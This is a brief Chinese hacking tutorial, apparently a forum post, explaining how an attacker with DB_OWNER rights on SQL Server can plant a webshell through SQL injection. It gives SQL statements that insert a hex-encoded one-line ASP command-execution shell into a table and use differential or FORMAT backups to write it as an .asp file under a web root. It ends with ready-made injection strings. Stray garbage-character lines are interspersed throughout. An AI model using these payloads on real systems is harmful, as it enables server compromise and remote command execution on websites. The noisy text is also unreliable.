DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少
" z! L- q1 O1 F3 Z
; ~/ L8 b5 M% u9 ~一利用差异备份
/ f; @8 F& A6 Z% j+ O加一个参数WITH DIFFERENTIAL

# d/ t! Y3 `4 {( Kdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
+ l$ a& b5 k9 [( x3 O; Z* H8 Z% tinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
+ ?# r3 p8 k5 @6 k. Tdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
加一个参数WITH FROMAT
, \2 ^$ W+ q7 G% p  V* S有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
0 E4 n# `4 Q' d- v' D0 b- g' z" Icreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
& b% r2 a6 @7 ]8 w
总的来说就是那么简单几句,下面以备份数据库model为例子

4 ]4 F  t' k7 s& a! F; u9 @& Iid=1;use model create table cmd(str image);insert into cmd(str) values (”)

* b2 h3 m% h- vid=1;backup database model to disk=’你的路径‘ with differential,format;–